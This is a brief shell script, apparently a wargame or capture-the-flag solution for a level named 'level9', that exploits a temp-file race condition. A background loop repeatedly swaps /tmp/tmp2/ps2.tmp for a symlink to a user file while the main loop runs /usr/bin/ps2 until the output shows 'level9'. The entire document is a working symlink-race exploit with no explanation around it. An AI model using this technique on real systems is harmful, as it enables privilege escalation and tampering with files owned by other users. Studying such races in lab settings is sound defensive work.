#!/bin/sh
race() {
  while true
  do
    rm -f /tmp/tmp2/ps2.tmp 2>/dev/null
    ln -s ~/tmp/esko.txt /tmp/tmp2/ps2.tmp 2>/dev/null
  done
}
race&
RACE_PID=$!
while true
do
  /usr/bin/ps2 | grep level9 && break
done
kill $RACE_PID